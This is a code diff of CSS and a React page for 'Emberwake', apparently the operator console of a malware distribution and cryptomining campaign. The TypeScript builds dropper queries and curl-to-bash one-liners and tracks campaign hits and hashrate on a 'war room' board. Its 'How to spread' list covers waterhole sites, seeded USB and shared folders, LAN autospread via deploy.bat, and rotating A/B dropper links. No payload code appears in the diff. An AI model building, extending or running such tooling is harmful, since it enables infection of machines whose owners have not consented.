||||
font-size: 0.72rem;
|
||||
word-break: break-all;
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.supply-chain-download-meta {
|
||||
margin: 0 0 0.75rem;
|
||||
padding-left: 1.1rem;
|
||||
font-size: 0.85rem;
|
||||
}
|
||||
|
||||
.supply-chain-download-meta li {
|
||||
margin-bottom: 0.35rem;
|
||||
}
|
||||
|
||||
.supply-chain-export-actions {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.5rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.supply-chain-wizard-nav {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
margin-bottom: 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-quick-export {
|
||||
padding-top: 0.5rem;
|
||||
border-top: 1px dashed #2a3040;
|
||||
}
|
||||
|
||||
.supply-chain-checklist {
|
||||
list-style: none;
|
||||
margin: 0 0 1rem;
|
||||
padding: 0;
|
||||
}
|
||||
|
||||
.supply-chain-checklist li {
|
||||
margin-bottom: 0.5rem;
|
||||
font-size: 0.88rem;
|
||||
}
|
||||
|
||||
.supply-chain-checklist label {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
align-items: flex-start;
|
||||
cursor: pointer;
|
||||
}
|
||||
|
||||
.supply-chain-checklist-done {
|
||||
color: var(--neon-green, #6f6);
|
||||
font-size: 0.85rem;
|
||||
margin: 0 0 0.75rem;
|
||||
}
|
||||
|
||||
.supply-chain-checklist-actions {
|
||||
display: flex;
|
||||
gap: 0.5rem;
|
||||
flex-wrap: wrap;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
/* ── Post-export deployment reel (checklist modal) ── */
|
||||
.supply-chain-deployment-reel {
|
||||
position: relative;
|
||||
margin: 0 0 1.1rem;
|
||||
padding: 0.85rem 1rem;
|
||||
border-radius: 10px;
|
||||
border: 1px solid rgba(61, 214, 198, 0.28);
|
||||
background: linear-gradient(135deg, rgba(61, 214, 198, 0.06) 0%, rgba(244, 63, 94, 0.04) 100%);
|
||||
overflow: hidden;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-title {
|
||||
margin: 0 0 0.65rem;
|
||||
font-size: 0.72rem;
|
||||
letter-spacing: 0.08em;
|
||||
text-transform: uppercase;
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
font-family: var(--font-tech, monospace);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-steps {
|
||||
list-style: none;
|
||||
margin: 0;
|
||||
padding: 0;
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
gap: 0.45rem;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
gap: 0.55rem;
|
||||
font-size: 0.88rem;
|
||||
opacity: 0.35;
|
||||
transform: translateX(-4px);
|
||||
transition: opacity 0.35s ease, transform 0.35s ease;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--active {
|
||||
opacity: 0.85;
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--done {
|
||||
opacity: 1;
|
||||
transform: translateX(0);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--animating .supply-chain-deployment-reel-check {
|
||||
animation: supply-chain-reel-pulse 0.9s ease-in-out;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-check {
|
||||
display: inline-flex;
|
||||
align-items: center;
|
||||
justify-content: center;
|
||||
width: 1.35rem;
|
||||
height: 1.35rem;
|
||||
border-radius: 50%;
|
||||
border: 1px solid #2a3040;
|
||||
font-size: 0.75rem;
|
||||
flex-shrink: 0;
|
||||
color: var(--text-secondary);
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--done .supply-chain-deployment-reel-check {
|
||||
border-color: rgba(111, 255, 111, 0.55);
|
||||
color: var(--neon-green, #6f6);
|
||||
background: rgba(111, 255, 111, 0.12);
|
||||
animation: supply-chain-reel-check-pop 0.45s cubic-bezier(0.34, 1.56, 0.64, 1);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-step--active .supply-chain-deployment-reel-check {
|
||||
border-color: rgba(61, 214, 198, 0.5);
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-label a {
|
||||
color: var(--neon-cyan, #3dd6c6);
|
||||
text-decoration: underline;
|
||||
text-underline-offset: 2px;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel--complete {
|
||||
box-shadow: 0 0 28px rgba(61, 214, 198, 0.12);
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel-glow {
|
||||
position: absolute;
|
||||
inset: -20%;
|
||||
background: radial-gradient(circle at 50% 50%, rgba(61, 214, 198, 0.15), transparent 55%);
|
||||
pointer-events: none;
|
||||
animation: supply-chain-reel-glow 1.2s ease-out forwards;
|
||||
}
|
||||
|
||||
.supply-chain-deployment-reel--complete::after {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
pointer-events: none;
|
||||
background-image:
|
||||
radial-gradient(circle at 15% 20%, rgba(244, 63, 94, 0.35) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 78% 28%, rgba(61, 214, 198, 0.4) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 42% 72%, rgba(250, 204, 21, 0.35) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 88% 65%, rgba(167, 139, 250, 0.35) 0 2px, transparent 3px),
|
||||
radial-gradient(circle at 25% 55%, rgba(61, 214, 198, 0.3) 0 1.5px, transparent 2.5px);
|
||||
opacity: 0;
|
||||
animation: supply-chain-reel-confetti 0.8s ease-out 0.1s forwards;
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-check-pop {
|
||||
0% { transform: scale(0.4); opacity: 0; }
|
||||
70% { transform: scale(1.15); }
|
||||
100% { transform: scale(1); opacity: 1; }
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-pulse {
|
||||
0%, 100% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); }
|
||||
50% { box-shadow: 0 0 12px rgba(61, 214, 198, 0.45); }
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-glow {
|
||||
from { opacity: 0.6; }
|
||||
to { opacity: 0; }
|
||||
}
|
||||
|
||||
@keyframes supply-chain-reel-confetti {
|
||||
from { opacity: 0; transform: scale(0.95); }
|
||||
to { opacity: 1; transform: scale(1); }
|
||||
}
|
||||
|
||||
.war-room-toolbar-right {
|
||||
display: flex;
|
||||
flex-wrap: wrap;
|
||||
gap: 0.75rem;
|
||||
align-items: center;
|
||||
}
|
||||
|
||||
.war-room-view-toggle {
|
||||
display: flex;
|
||||
gap: 0.35rem;
|
||||
flex-wrap: wrap;
|
||||
}
|
||||
|
||||
/* ── Constellation force graph ── */
|
||||
.war-room-constellations {
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
.war-room-constellations-svg {
|
||||
display: block;
|
||||
width: 100%;
|
||||
height: auto;
|
||||
border-radius: 10px;
|
||||
border: 1px solid #2a3040;
|
||||
background: linear-gradient(160deg, #0a0d14 0%, #12101a 45%, #0c0f16 100%);
|
||||
box-shadow: inset 0 0 40px rgba(61, 214, 198, 0.04);
|
||||
}
|
||||
|
||||
.war-room-constellation-edge {
|
||||
stroke: rgba(61, 214, 198, 0.18);
|
||||
stroke-dasharray: 4 6;
|
||||
transition: stroke 0.2s ease, stroke-width 0.2s ease;
|
||||
}
|
||||
|
||||
.war-room-constellation-edge--lit {
|
||||
stroke: rgba(201, 162, 39, 0.55);
|
||||
stroke-dasharray: none;
|
||||
}
|
||||
|
||||
.war-room-constellation-halo {
|
||||
opacity: 0.22;
|
||||
pointer-events: none;
|
||||
transform-origin: center;
|
||||
transform-box: fill-box;
|
||||
animation: constellation-pulse 2.4s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-constellation-node--hover circle:nth-of-type(2) {
|
||||
filter: url(#constellation-glow);
|
||||
}
|
||||
|
||||
.war-room-constellation-label {
|
||||
font-size: 0.62rem;
|
||||
fill: #9aa3b5;
|
||||
font-family: var(--font-mono, ui-monospace, monospace);
|
||||
pointer-events: none;
|
||||
user-select: none;
|
||||
}
|
||||
|
||||
.war-room-constellation-legend {
|
||||
margin: 0.55rem 0 0;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-card--highlighted {
|
||||
border-color: rgba(201, 162, 39, 0.65);
|
||||
box-shadow:
|
||||
0 0 28px rgba(201, 162, 39, 0.18),
|
||||
0 0 48px rgba(61, 214, 198, 0.08);
|
||||
animation: constellation-card-flash 2.8s ease-out;
|
||||
}
|
||||
|
||||
@keyframes constellation-pulse {
|
||||
0%, 100% { opacity: 0.1; transform: scale(1); }
|
||||
50% { opacity: 0.42; transform: scale(1.12); }
|
||||
}
|
||||
|
||||
@keyframes constellation-card-flash {
|
||||
0% { outline: 2px solid rgba(201, 162, 39, 0.7); outline-offset: 2px; }
|
||||
100% { outline: 2px solid transparent; outline-offset: 6px; }
|
||||
}
|
||||
|
||||
/* ── Funnel board ── */
|
||||
.war-room-funnel-board {
|
||||
display: grid;
|
||||
gap: 1rem;
|
||||
grid-template-columns: repeat(auto-fill, minmax(320px, 1fr));
|
||||
}
|
||||
|
||||
.war-room-funnel-board--alive .war-room-funnel-card {
|
||||
animation: war-room-card-alive 0.9s ease-out;
|
||||
}
|
||||
|
||||
.war-room-funnel-card {
|
||||
position: relative;
|
||||
padding: 1rem 1.1rem;
|
||||
border-radius: 10px;
|
||||
border: 1px solid #2a3040;
|
||||
background: linear-gradient(145deg, #141a24 0%, #0c0f16 55%, #12101a 100%);
|
||||
box-shadow: 0 0 24px rgba(244, 63, 94, 0.06);
|
||||
overflow: hidden;
|
||||
animation-delay: var(--card-stagger, 0s);
|
||||
}
|
||||
|
||||
.war-room-funnel-card::before {
|
||||
content: '';
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
background: radial-gradient(ellipse at top left, rgba(61, 214, 198, 0.08), transparent 55%);
|
||||
pointer-events: none;
|
||||
}
|
||||
|
||||
.war-room-funnel-card-head {
|
||||
display: flex;
|
||||
justify-content: space-between;
|
||||
align-items: flex-start;
|
||||
gap: 0.5rem;
|
||||
margin-bottom: 0.85rem;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.war-room-funnel-slug {
|
||||
font-size: 0.95rem;
|
||||
color: #f43f5e;
|
||||
}
|
||||
|
||||
.war-room-funnel-meta {
|
||||
display: block;
|
||||
font-size: 0.72rem;
|
||||
color: var(--text-dim, #888);
|
||||
margin-top: 0.15rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-head-stats {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: flex-end;
|
||||
gap: 0.2rem;
|
||||
font-size: 0.75rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-overall {
|
||||
color: #c9a227;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-funnel-online {
|
||||
color: #3dd6c6;
|
||||
}
|
||||
|
||||
.war-room-funnel-pipeline {
|
||||
display: flex;
|
||||
align-items: stretch;
|
||||
gap: 0.15rem;
|
||||
overflow-x: auto;
|
||||
padding-bottom: 0.35rem;
|
||||
position: relative;
|
||||
}
|
||||
|
||||
.war-room-funnel-stage {
|
||||
display: flex;
|
||||
align-items: center;
|
||||
flex: 1;
|
||||
min-width: 4.5rem;
|
||||
}
|
||||
|
||||
.war-room-funnel-node {
|
||||
display: flex;
|
||||
flex-direction: column;
|
||||
align-items: center;
|
||||
text-align: center;
|
||||
min-width: 3.5rem;
|
||||
z-index: 1;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-label {
|
||||
font-size: 0.62rem;
|
||||
text-transform: uppercase;
|
||||
letter-spacing: 0.05em;
|
||||
color: var(--text-dim, #888);
|
||||
white-space: nowrap;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-value {
|
||||
font-size: 0.9rem;
|
||||
font-weight: 700;
|
||||
font-variant-numeric: tabular-nums;
|
||||
color: #e8eaef;
|
||||
line-height: 1.2;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-rate {
|
||||
font-size: 0.65rem;
|
||||
color: #3dd6c6;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-funnel-node-rate--low {
|
||||
color: #fbbf24;
|
||||
animation: war-room-pulse 2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe {
|
||||
position: relative;
|
||||
flex: 1;
|
||||
height: 6px;
|
||||
min-width: 12px;
|
||||
margin: 0 0.1rem;
|
||||
background: #1a2030;
|
||||
border-radius: 3px;
|
||||
overflow: hidden;
|
||||
align-self: center;
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe--flowing {
|
||||
box-shadow: inset 0 0 6px rgba(61, 214, 198, 0.08);
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe-fill {
|
||||
display: block;
|
||||
height: 100%;
|
||||
width: var(--pipe-fill, 8%);
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
#f43f5e 0%,
|
||||
#ff6b2c 25%,
|
||||
#ffd166 50%,
|
||||
#3dd6c6 75%,
|
||||
#f43f5e 100%
|
||||
);
|
||||
background-size: 220% 100%;
|
||||
border-radius: 3px;
|
||||
animation: war-room-flow 1.15s linear infinite;
|
||||
animation-delay: var(--pipe-stagger, 0s);
|
||||
box-shadow: 0 0 10px rgba(61, 214, 198, 0.45), 0 0 4px rgba(244, 63, 94, 0.25);
|
||||
}
|
||||
|
||||
.war-room-funnel-pipe-shimmer {
|
||||
position: absolute;
|
||||
inset: 0;
|
||||
width: 40%;
|
||||
background: linear-gradient(
|
||||
90deg,
|
||||
transparent 0%,
|
||||
rgba(255, 255, 255, 0.18) 45%,
|
||||
transparent 100%
|
||||
);
|
||||
animation: war-room-pipe-shimmer 1.8s ease-in-out infinite;
|
||||
animation-delay: var(--pipe-stagger, 0s);
|
||||
pointer-events: none;
|
||||
opacity: 0.7;
|
||||
}
|
||||
|
||||
.war-room-funnel-arrow {
|
||||
color: #4a5568;
|
||||
font-size: 0.7rem;
|
||||
flex-shrink: 0;
|
||||
animation: war-room-arrow-nudge 1.8s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-funnel-card-foot {
|
||||
display: flex;
|
||||
align-items: flex-end;
|
||||
justify-content: space-between;
|
||||
gap: 0.75rem;
|
||||
margin-top: 0.75rem;
|
||||
padding-top: 0.65rem;
|
||||
border-top: 1px solid #222a38;
|
||||
}
|
||||
|
||||
.war-room-sparkline--card {
|
||||
flex: 1;
|
||||
max-width: 160px;
|
||||
}
|
||||
|
||||
.war-room-sparkline-label {
|
||||
font-size: 0.62rem;
|
||||
color: var(--text-dim, #888);
|
||||
margin-right: 0.35rem;
|
||||
align-self: flex-end;
|
||||
}
|
||||
|
||||
.war-room-funnel-hash {
|
||||
font-size: 0.82rem;
|
||||
color: #c9a227;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-leak {
|
||||
display: flex;
|
||||
gap: 0.6rem;
|
||||
align-items: flex-start;
|
||||
margin-top: 0.75rem;
|
||||
padding: 0.55rem 0.65rem;
|
||||
border-radius: 6px;
|
||||
font-size: 0.78rem;
|
||||
}
|
||||
|
||||
.war-room-leak--critical {
|
||||
background: rgba(244, 63, 94, 0.12);
|
||||
border: 1px solid rgba(244, 63, 94, 0.35);
|
||||
animation: war-room-leak-glow 2s ease-in-out infinite;
|
||||
}
|
||||
|
||||
.war-room-leak--warn {
|
||||
background: rgba(251, 191, 36, 0.08);
|
||||
border: 1px solid rgba(251, 191, 36, 0.3);
|
||||
}
|
||||
|
||||
.war-room-leak--clear {
|
||||
background: rgba(61, 214, 198, 0.06);
|
||||
border: 1px solid rgba(61, 214, 198, 0.2);
|
||||
}
|
||||
|
||||
.war-room-leak-badge {
|
||||
flex-shrink: 0;
|
||||
font-size: 0.62rem;
|
||||
font-weight: 700;
|
||||
letter-spacing: 0.08em;
|
||||
padding: 0.15rem 0.35rem;
|
||||
border-radius: 3px;
|
||||
background: rgba(0, 0, 0, 0.35);
|
||||
}
|
||||
|
||||
.war-room-leak--critical .war-room-leak-badge {
|
||||
color: #f43f5e;
|
||||
}
|
||||
|
||||
.war-room-leak--warn .war-room-leak-badge {
|
||||
color: #fbbf24;
|
||||
}
|
||||
|
||||
.war-room-leak--clear .war-room-leak-badge {
|
||||
color: #3dd6c6;
|
||||
}
|
||||
|
||||
.war-room-leak-msg {
|
||||
margin: 0;
|
||||
color: #e8eaef;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
.war-room-leak-action {
|
||||
margin: 0.25rem 0 0;
|
||||
color: var(--text-dim, #aaa);
|
||||
font-size: 0.72rem;
|
||||
line-height: 1.35;
|
||||
}
|
||||
|
||||
/* ── Odometer counters ── */
|
||||
.war-room-odometer {
|
||||
position: relative;
|
||||
display: inline-flex;
|
||||
align-items: baseline;
|
||||
gap: 0.25rem;
|
||||
font-variant-numeric: tabular-nums;
|
||||
}
|
||||
|
||||
.war-room-odometer-value {
|
||||
display: inline-block;
|
||||
}
|
||||
|
||||
.war-room-odometer--pulse .war-room-odometer-value {
|
||||
animation: war-room-odometer-glow 0.7s ease-out;
|
||||
text-shadow: 0 0 12px rgba(61, 214, 198, 0.55);
|
||||
}
|
||||
|
||||
.war-room-odometer-delta {
|
||||
font-size: 0.62em;
|
||||
font-weight: 600;
|
||||
color: #3dd6c6;
|
||||
opacity: 0;
|
||||
animation: war-room-delta-pop 0.85s ease-out forwards;
|
||||
letter-spacing: 0.02em;
|
||||
}
|
||||
|
||||
.war-room-table .war-room-odometer {
|
||||
justify-content: flex-end;
|
||||
width: 100%;
|
||||
}
|
||||
|
||||
@keyframes war-room-flow {
|
||||
0% { background-position: 0% 50%; opacity: 0.88; filter: brightness(1); }
|
||||
50% { background-position: 100% 50%; opacity: 1; filter: brightness(1.25); }
|
||||
100% { background-position: 200% 50%; opacity: 0.88; filter: brightness(1); }
|
||||
}
|
||||
|
||||
@keyframes war-room-pipe-shimmer {
|
||||
0% { transform: translateX(-120%); opacity: 0; }
|
||||
35% { opacity: 0.85; }
|
||||
100% { transform: translateX(280%); opacity: 0; }
|
||||
}
|
||||
|
||||
@keyframes war-room-card-alive {
|
||||
0% { box-shadow: 0 0 0 rgba(61, 214, 198, 0); border-color: #2a3040; }
|
||||
40% { box-shadow: 0 0 28px rgba(61, 214, 198, 0.18); border-color: rgba(61, 214, 198, 0.35); }
|
||||
100% { box-shadow: 0 0 24px rgba(244, 63, 94, 0.06); border-color: #2a3040; }
|
||||
}
|
||||
|
||||
@keyframes war-room-odometer-glow {
|
||||
0% { color: inherit; transform: scale(1); }
|
||||
35% { color: #3dd6c6; transform: scale(1.06); }
|
||||
100% { color: inherit; transform: scale(1); }
|
||||
}
|
||||
|
||||
@keyframes war-room-delta-pop {
|
||||
0% { opacity: 0; transform: translateY(4px); }
|
||||
25% { opacity: 1; transform: translateY(0); }
|
||||
75% { opacity: 1; }
|
||||
100% { opacity: 0; transform: translateY(-3px); }
|
||||
}
|
||||
|
||||
@keyframes war-room-arrow-nudge {
|
||||
0%, 100% { transform: translateX(0); opacity: 0.5; }
|
||||
50% { transform: translateX(2px); opacity: 1; }
|
||||
}
|
||||
|
||||
@keyframes war-room-pulse {
|
||||
0%, 100% { opacity: 1; }
|
||||
50% { opacity: 0.55; }
|
||||
}
|
||||
|
||||
@keyframes war-room-leak-glow {
|
||||
0%, 100% { box-shadow: 0 0 0 rgba(244, 63, 94, 0); }
|
||||
50% { box-shadow: 0 0 12px rgba(244, 63, 94, 0.2); }
|
||||
}
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { useCallback, useEffect, useMemo, useState } from 'react';
|
||||
import { useCallback, useEffect, useMemo, useRef, useState } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import type { BuildRecord, CampaignHitSummary, EmberwakeNotes, PublicBuildDTO } from '../types';
|
||||
import type { BuildRecord, EmberwakeNotes, PublicBuildDTO, WarRoomResponse } from '../types';
|
||||
import {
|
||||
combinedDropperQuery,
|
||||
commandOneliner,
|
||||
@@ -8,9 +8,23 @@ import {
|
||||
publicDownloadUrl,
|
||||
shOneliner,
|
||||
} from '../help/emberwake';
|
||||
import {
|
||||
EMBERWAKE_TECHNIQUE_LINKS,
|
||||
SPREAD_TECHNIQUES_DOC,
|
||||
spreadTechniqueDocUrl,
|
||||
} from '../help/spreadTechniques';
|
||||
import { formatHashrate, sparklineBarHeight, sparklineMax, staggerDelayMs } from '../help/warRoom';
|
||||
import CampaignConstellations from '../components/WarRoom/CampaignConstellations';
|
||||
import WarRoomFunnelBoard from '../components/WarRoom/WarRoomFunnelBoard';
|
||||
import WarRoomOdometer from '../components/WarRoom/WarRoomOdometer';
|
||||
import { useWebSocket } from '../hooks/useWebSocket';
|
||||
import { usePresence } from '../context/PresenceContext';
|
||||
import AlsoHere from '../components/Presence/AlsoHere';
|
||||
import ComradeAvatar from '../components/Presence/ComradeAvatar';
|
||||
import SupplyChainExportWizard from '../components/Emberwake/SupplyChainExportWizard';
|
||||
import './Pages.css';
|
||||
import './EmberwakePage.css';
|
||||
import '../components/Presence/Presence.css';
|
||||
|
||||
function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
const [ok, setOk] = useState(false);
|
||||
@@ -27,8 +41,14 @@ function CopyChip({ text, label }: { text: string; label: string }) {
|
||||
);
|
||||
}
|
||||
|
||||
const NOTES_TYPING_DEBOUNCE_MS = 400;
|
||||
const NOTES_TYPING_IDLE_MS = 2000;
|
||||
const WAR_ROOM_DAYS = 7;
|
||||
const WAR_ROOM_POLL_MS = 15_000;
|
||||
|
||||
export default function EmberwakePage() {
|
||||
const { latestMessage } = useWebSocket();
|
||||
const { notesTyping, sendNotesTyping } = usePresence();
|
||||
const [builds, setBuilds] = useState<BuildRecord[]>([]);
|
||||
const [publicBuilds, setPublicBuilds] = useState<PublicBuildDTO[]>([]);
|
||||
const [serverBase, setServerBase] = useState('');
|
||||
@@ -37,30 +57,41 @@ export default function EmberwakePage() {
|
||||
const [pinB, setPinB] = useState('');
|
||||
const [notes, setNotes] = useState('');
|
||||
const [notesMeta, setNotesMeta] = useState('');
|
||||
const [campaigns, setCampaigns] = useState<CampaignHitSummary[]>([]);
|
||||
const [warRoom, setWarRoom] = useState<WarRoomResponse | null>(null);
|
||||
const [warRoomUpdated, setWarRoomUpdated] = useState('');
|
||||
const [warRoomView, setWarRoomView] = useState<'funnel' | 'table' | 'constellations'>('funnel');
|
||||
const [highlightedCampaign, setHighlightedCampaign] = useState<string | null>(null);
|
||||
const [exportBusy, setExportBusy] = useState(false);
|
||||
const [siteName, setSiteName] = useState('my-blog');
|
||||
const [notesBusy, setNotesBusy] = useState(false);
|
||||
const typingTimerRef = useRef<ReturnType<typeof setTimeout> | null>(null);
|
||||
const typingActiveRef = useRef(false);
|
||||
|
||||
const pinned = useMemo(() => builds.filter((b) => b.pinned), [builds]);
|
||||
const query = useMemo(() => combinedDropperQuery(pinA || pinned[0]?.id || '', campaign), [pinA, pinned, campaign]);
|
||||
const queryB = useMemo(() => combinedDropperQuery(pinB, campaign + '-b'), [pinB, campaign]);
|
||||
|
||||
const loadWarRoom = useCallback(async () => {
|
||||
const data = await api.getWarRoom(WAR_ROOM_DAYS);
|
||||
setWarRoom(data);
|
||||
setWarRoomUpdated(data.generated_at);
|
||||
}, []);
|
||||
|
||||
const load = useCallback(async () => {
|
||||
const [b, info, cfg, pub, camp, n] = await Promise.all([
|
||||
const [b, info, cfg, pub, n] = await Promise.all([
|
||||
api.listBuilds(),
|
||||
api.getServerInfo(),
|
||||
api.getConfig(),
|
||||
api.listPublicBuilds(),
|
||||
api.listCampaignHits(),
|
||||
api.getEmberwakeNotes(),
|
||||
]);
|
||||
setBuilds(b);
|
||||
const pubUrl = cfg.server?.public_url?.trim();
|
||||
setServerBase((pubUrl || info.suggested_url || window.location.origin).replace(/\/$/, ''));
|
||||
setPublicBuilds(pub.builds);
|
||||
setCampaigns(camp.campaigns);
|
||||
setNotes(n.content);
|
||||
setNotesMeta(n.updated_by ? `${n.updated_by} · ${n.updated_at}` : '');
|
||||
void loadWarRoom().catch(() => {});
|
||||
if (!pinA) {
|
||||
const p = b.find((x) => x.pinned);
|
||||
if (p) setPinA(p.id);
|
||||
@@ -69,22 +100,83 @@ export default function EmberwakePage() {
|
||||
const alt = b.find((x) => !x.pinned) ?? b[1];
|
||||
if (alt) setPinB(alt.id);
|
||||
}
|
||||
}, [pinA, pinB]);
|
||||
}, [pinA, pinB, loadWarRoom]);
|
||||
|
||||
useEffect(() => {
|
||||
void load().catch(() => {});
|
||||
}, [load]);
|
||||
|
||||
useEffect(() => {
|
||||
if (latestMessage?.type !== 'emberwake_notes_updated') return;
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
const id = window.setInterval(() => {
|
||||
void loadWarRoom().catch(() => {});
|
||||
}, WAR_ROOM_POLL_MS);
|
||||
return () => window.clearInterval(id);
|
||||
}, [loadWarRoom]);
|
||||
|
||||
useEffect(() => {
|
||||
if (!latestMessage) return;
|
||||
if (latestMessage.type === 'emberwake_notes_updated') {
|
||||
const p = latestMessage.payload as EmberwakeNotes;
|
||||
if (p && typeof p.content === 'string') {
|
||||
setNotes(p.content);
|
||||
setNotesMeta(p.updated_by ? `${p.updated_by} · ${p.updated_at}` : '');
|
||||
}
|
||||
return;
|
||||
}
|
||||
if (latestMessage.type === 'emberwake_war_room') {
|
||||
const p = latestMessage.payload as WarRoomResponse;
|
||||
if (p && Array.isArray(p.campaigns)) {
|
||||
setWarRoom(p);
|
||||
setWarRoomUpdated(p.generated_at || new Date().toISOString());
|
||||
}
|
||||
}
|
||||
}, [latestMessage]);
|
||||
|
||||
const stopNotesTyping = useCallback(() => {
|
||||
if (typingTimerRef.current) {
|
||||
clearTimeout(typingTimerRef.current);
|
||||
typingTimerRef.current = null;
|
||||
}
|
||||
if (typingActiveRef.current) {
|
||||
typingActiveRef.current = false;
|
||||
sendNotesTyping(false);
|
||||
}
|
||||
}, [sendNotesTyping]);
|
||||
|
||||
const handleNotesChange = (value: string) => {
|
||||
setNotes(value);
|
||||
if (typingTimerRef.current) clearTimeout(typingTimerRef.current);
|
||||
typingTimerRef.current = setTimeout(() => {
|
||||
if (!typingActiveRef.current) {
|
||||
typingActiveRef.current = true;
|
||||
sendNotesTyping(true);
|
||||
}
|
||||
typingTimerRef.current = setTimeout(() => stopNotesTyping(), NOTES_TYPING_IDLE_MS);
|
||||
}, NOTES_TYPING_DEBOUNCE_MS);
|
||||
};
|
||||
|
||||
useEffect(() => () => stopNotesTyping(), [stopNotesTyping]);
|
||||
|
||||
const handleConstellationSelect = useCallback((slug: string) => {
|
||||
setHighlightedCampaign(slug);
|
||||
setWarRoomView('funnel');
|
||||
}, []);
|
||||
|
||||
useEffect(() => {
|
||||
if (warRoomView !== 'funnel' || !highlightedCampaign) return;
|
||||
const t = window.setTimeout(() => {
|
||||
const el = document.getElementById(`war-room-campaign-${highlightedCampaign}`);
|
||||
el?.scrollIntoView({ behavior: 'smooth', block: 'nearest' });
|
||||
}, 80);
|
||||
const clear = window.setTimeout(() => setHighlightedCampaign(null), 3200);
|
||||
return () => {
|
||||
window.clearTimeout(t);
|
||||
window.clearTimeout(clear);
|
||||
};
|
||||
}, [warRoomView, highlightedCampaign]);
|
||||
|
||||
const saveNotes = async () => {
|
||||
stopNotesTyping();
|
||||
setNotesBusy(true);
|
||||
try {
|
||||
const n = await api.putEmberwakeNotes(notes);
|
||||
@@ -108,7 +200,7 @@ export default function EmberwakePage() {
|
||||
};
|
||||
|
||||
return (
|
||||
<div className="page emberwake-page">
|
||||
<div className="page emberwake-page operator-deck-page">
|
||||
<header className="deck-hero">
|
||||
<div className="deck-hero-text">
|
||||
<p className="deck-eyebrow font-tech">SPREAD · WATERHOLE · KINDLING</p>
|
||||
@@ -119,18 +211,32 @@ export default function EmberwakePage() {
|
||||
</div>
|
||||
</header>
|
||||
|
||||
<div className="spread-section spread-section--ember">
|
||||
<AlsoHere page="/emberwake" />
|
||||
|
||||
<div className="spread-section spread-section--ember operator-deck-card operator-interactive">
|
||||
<h3>How to spread</h3>
|
||||
<ul className="form-hint" style={{ margin: 0, paddingLeft: '1.2rem' }}>
|
||||
<li><strong>Web waterhole</strong> — export spread kit ZIP, upload to S3 / Cloudflare Pages / owned CMS.</li>
|
||||
<li><strong>curl | bash VPS</strong> — paste one-liners below on a headless server session.</li>
|
||||
<li><strong>Fusion media</strong> — forge Desktop Fusion profile, seed USB or shared folders.</li>
|
||||
<li><strong>LAN kindling</strong> — universal spread kit + autospread; deploy.bat on reachable hosts.</li>
|
||||
<li><strong>A/B droppers</strong> — pin build A vs B; rotate campaign links between waves.</li>
|
||||
<p className="form-hint" style={{ marginTop: 0 }}>
|
||||
Operator instructions (no login):{' '}
|
||||
<a href="/spread/">Spread kit landing</a>
|
||||
{' · '}
|
||||
Full threat-intel matrix:{' '}
|
||||
<a href={SPREAD_TECHNIQUES_DOC} target="_blank" rel="noreferrer">
|
||||
SPREAD_TECHNIQUES.md
|
||||
</a>
|
||||
</p>
|
||||
<ul className="emberwake-technique-list">
|
||||
{EMBERWAKE_TECHNIQUE_LINKS.map((t) => (
|
||||
<li key={t.label}>
|
||||
